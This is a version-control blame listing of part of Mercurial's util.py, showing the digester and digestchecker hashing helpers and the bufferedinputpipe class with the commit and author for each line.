43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	205 DIGESTS_BY_STRENGTH = [b'sha512', b'sha1', b'md5']
22962 4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	206
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	207 for k in DIGESTS_BY_STRENGTH:
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	208 assert k in DIGESTS
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	209
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	210
22962 4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	211 class digester(object):
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	212 """helper to compute digests.
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	213
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	214 This helper can be used to compute one or more digests given their name.
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	215
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	216 >>> d = digester([b'md5', b'sha1'])
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	217 >>> d.update(b'foo')
22962 4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	218 >>> [k for k in sorted(d)]
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	219 ['md5', 'sha1']
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	220 >>> d[b'md5']
22962 4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	221 'acbd18db4cc2f85cedef654fccc4a4d8'
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	222 >>> d[b'sha1']
22962 4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	223 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	224 >>> digester.preferred([b'md5', b'sha1'])
22962 4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	225 'sha1'
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	226 """
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	227
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	228 def __init__(self, digests, s=b''):
22962 4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	229 self._hashes = {}
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	230 for k in digests:
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	231 if k not in DIGESTS:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	232 raise error.Abort(_(b'unknown digest type: %s') % k)
22962 4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	233 self._hashes[k] = DIGESTS[k]()
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	234 if s:
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	235 self.update(s)
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	236
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	237 def update(self, data):
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	238 for h in self._hashes.values():
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	239 h.update(data)
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	240
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	241 def __getitem__(self, key):
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	242 if key not in DIGESTS:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	243 raise error.Abort(_(b'unknown digest type: %s') % k)
35582 72b91f905065 py3: use node.hex(h.digest()) instead of h.hexdigest() Pulkit Goyal <7895pulkit@gmail.com> parents: 35517 diff changeset	244 return nodemod.hex(self._hashes[key].digest())
22962 4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	245
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	246 def __iter__(self):
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	247 return iter(self._hashes)
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	248
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	249 @staticmethod
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	250 def preferred(supported):
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	251 """returns the strongest digest type in both supported and DIGESTS."""
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	252
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	253 for k in DIGESTS_BY_STRENGTH:
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	254 if k in supported:
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	255 return k
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	256 return None
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	257
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	258
22963 56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	259 class digestchecker(object):
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	260 """file handle wrapper that additionally checks content against a given
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	261 size and digests.
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	262
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	263 d = digestchecker(fh, size, {'md5': '...'})
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	264
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	265 When multiple digests are given, all of them are validated.
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	266 """
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	267
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	268 def __init__(self, fh, size, digests):
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	269 self._fh = fh
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	270 self._size = size
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	271 self._got = 0
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	272 self._digests = dict(digests)
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	273 self._digester = digester(self._digests.keys())
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	274
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	275 def read(self, length=-1):
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	276 content = self._fh.read(length)
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	277 self._digester.update(content)
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	278 self._got += len(content)
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	279 return content
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	280
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	281 def validate(self):
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	282 if self._size != self._got:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	283 raise error.Abort(
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	284 _(b'size mismatch: expected %d, got %d')
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	285 % (self._size, self._got)
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	286 )
22963 56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	287 for k, v in self._digests.items():
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	288 if v != self._digester[k]:
23076 c312ef382033 i18n: add hint to digest mismatch message Wagner Bruna <wbruna@softwareexpress.com.br> parents: 23030 diff changeset	289 # i18n: first parameter is a digest name
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	290 raise error.Abort(
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	291 _(b'%s mismatch: expected %s, got %s')
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	292 % (k, v, self._digester[k])
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	293 )
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	294
22963 56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	295
11565 7546d4a272c8 util: improved the check for the existence of the 'buffer' builtin Renato Cunha <renatoc@gmail.com> parents: 11469 diff changeset	296 try:
15657 d976b1ef6760 util: don't mess with builtins to emulate buffer() Matt Mackall <mpm@selenic.com> parents: 15656 diff changeset	297 buffer = buffer
11565 7546d4a272c8 util: improved the check for the existence of the 'buffer' builtin Renato Cunha <renatoc@gmail.com> parents: 11469 diff changeset	298 except NameError:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	299
33549 9a2ee9591acc util: remove dead code which used to be for old python2 versions Alex Gaynor <agaynor@mozilla.com> parents: 33446 diff changeset	300 def buffer(sliceable, offset=0, length=None):
9a2ee9591acc util: remove dead code which used to be for old python2 versions Alex Gaynor <agaynor@mozilla.com> parents: 33446 diff changeset	301 if length is not None:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	302 return memoryview(sliceable)[offset : offset + length]
33549 9a2ee9591acc util: remove dead code which used to be for old python2 versions Alex Gaynor <agaynor@mozilla.com> parents: 33446 diff changeset	303 return memoryview(sliceable)[offset:]
10756 cb681cc59a8d util: fake the builtin buffer if it's missing (jython) Ronny Pfannschmidt <Ronny.Pfannschmidt@gmx.de> parents: 10487 diff changeset	304
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	305
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	306 _chunksize = 4096
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	307
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	308
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	309 class bufferedinputpipe(object):
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	310 """a manually buffered input pipe
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	311
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	312 Python will not let us use buffered IO and lazy reading with 'polling' at
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	313 the same time. We cannot probe the buffer state and select will not detect
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	314 that data are ready to read if they are already buffered.
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	315
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	316 This class let us work around that by implementing its own buffering
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	317 (allowing efficient readline) while offering a way to know if the buffer is
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	318 empty from the output (allowing collaboration of the buffer with polling).
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	319
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	320 This class lives in the 'util' module because it makes use of the 'os'
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	321 module from the python stdlib.
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	322 """
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	323
36554 3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	324 def __new__(cls, fh):
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	325 # If we receive a fileobjectproxy, we need to use a variation of this
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	326 # class that notifies observers about activity.
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	327 if isinstance(fh, fileobjectproxy):
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	328 cls = observedbufferedinputpipe
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	329
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	330 return super(bufferedinputpipe, cls).__new__(cls)
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	331
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	332 def __init__(self, input):
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	333 self._input = input
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	334 self._buffer = []
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	335 self._eof = False
25672 050dc6eabc92 bufferedinputpipe: remove N^2 computation of buffer length (issue4735) Pierre-Yves David <pierre-yves.david@fb.com> parents: 25671 diff changeset	336 self._lenbuf = 0
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	337
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	338 @property
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	339 def hasbuffer(self):
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	340 """True is any data is currently buffered
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	341
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	342 This will be used externally a pre-step for polling IO. If there is
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	343 already data then no polling should be set in place."""
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	344 return bool(self._buffer)
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	345
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	346 @property
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	347 def closed(self):
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	348 return self._input.closed
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	349
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	350 def fileno(self):
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	351 return self._input.fileno()
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	352
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	353 def close(self):
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	354 return self._input.close()
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	355
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	356 def read(self, size):
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	357 while (not self._eof) and (self._lenbuf < size):
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	358 self._fillbuffer()
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	359 return self._frombuffer(size)
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	360
38713 27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	361 def unbufferedread(self, size):
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	362 if not self._eof and self._lenbuf == 0:
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	363 self._fillbuffer(max(size, _chunksize))
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	364 return self._frombuffer(min(self._lenbuf, size))
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	365
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	366 def readline(self, args, *kwargs):
40030 e2697acd9381 cleanup: some Yoda conditions, this patch removes Martin von Zweigbergk <martinvonz@google.com> parents: 39910 diff changeset	367 if len(self._buffer) > 1:
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	368 # this should not happen because both read and readline end with a
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	369 # _frombuffer call that collapse it.
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	370 self._buffer = [b''.join(self._buffer)]
25672 050dc6eabc92 bufferedinputpipe: remove N^2 computation of buffer length (issue4735) Pierre-Yves David <pierre-yves.david@fb.com> parents: 25671 diff changeset	371 self._lenbuf = len(self._buffer[0])
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	372 lfi = -1
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	373 if self._buffer:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	374 lfi = self._buffer[-1].find(b'\n')
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	375 while (not self._eof) and lfi < 0:
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	376 self._fillbuffer()
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	377 if self._buffer:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	378 lfi = self._buffer[-1].find(b'\n')
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	379 size = lfi + 1
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	380 if lfi < 0: # end of file
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	381 size = self._lenbuf
40030 e2697acd9381 cleanup: some Yoda conditions, this patch removes Martin von Zweigbergk <martinvonz@google.com> parents: 39910 diff changeset	382 elif len(self._buffer) > 1:
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	383 # we need to take previous chunks into account
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	384 size += self._lenbuf - len(self._buffer[-1])
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	385 return self._frombuffer(size)
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	386
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	387 def _frombuffer(self, size):
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	388 """return at most 'size' data from the buffer
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	389
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	390 The data are removed from the buffer."""
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	391 if size == 0 or not self._buffer:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	392 return b''
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	393 buf = self._buffer[0]
40030 e2697acd9381 cleanup: some Yoda conditions, this patch removes Martin von Zweigbergk <martinvonz@google.com> parents: 39910 diff changeset	394 if len(self._buffer) > 1:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	395 buf = b''.join(self._buffer)
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	396
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	397 data = buf[:size]
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	398 buf = buf[len(data) :]
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	399 if buf:
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	400 self._buffer = [buf]
25672 050dc6eabc92 bufferedinputpipe: remove N^2 computation of buffer length (issue4735) Pierre-Yves David <pierre-yves.david@fb.com> parents: 25671 diff changeset	401 self._lenbuf = len(buf)
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	402 else:
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	403 self._buffer = []
25672 050dc6eabc92 bufferedinputpipe: remove N^2 computation of buffer length (issue4735) Pierre-Yves David <pierre-yves.david@fb.com> parents: 25671 diff changeset	404 self._lenbuf = 0
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	405 return data
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	406
38713 27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	407 def _fillbuffer(self, size=_chunksize):
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	408 """read data to the buffer"""
38713 27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	409 data = os.read(self._input.fileno(), size)
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	410 if not data:
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	411 self._eof = True
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	412 else:
25672 050dc6eabc92 bufferedinputpipe: remove N^2 computation of buffer length (issue4735) Pierre-Yves David <pierre-yves.david@fb.com> parents: 25671 diff changeset	413 self._lenbuf += len(data)
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	414 self._buffer.append(data)
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	415
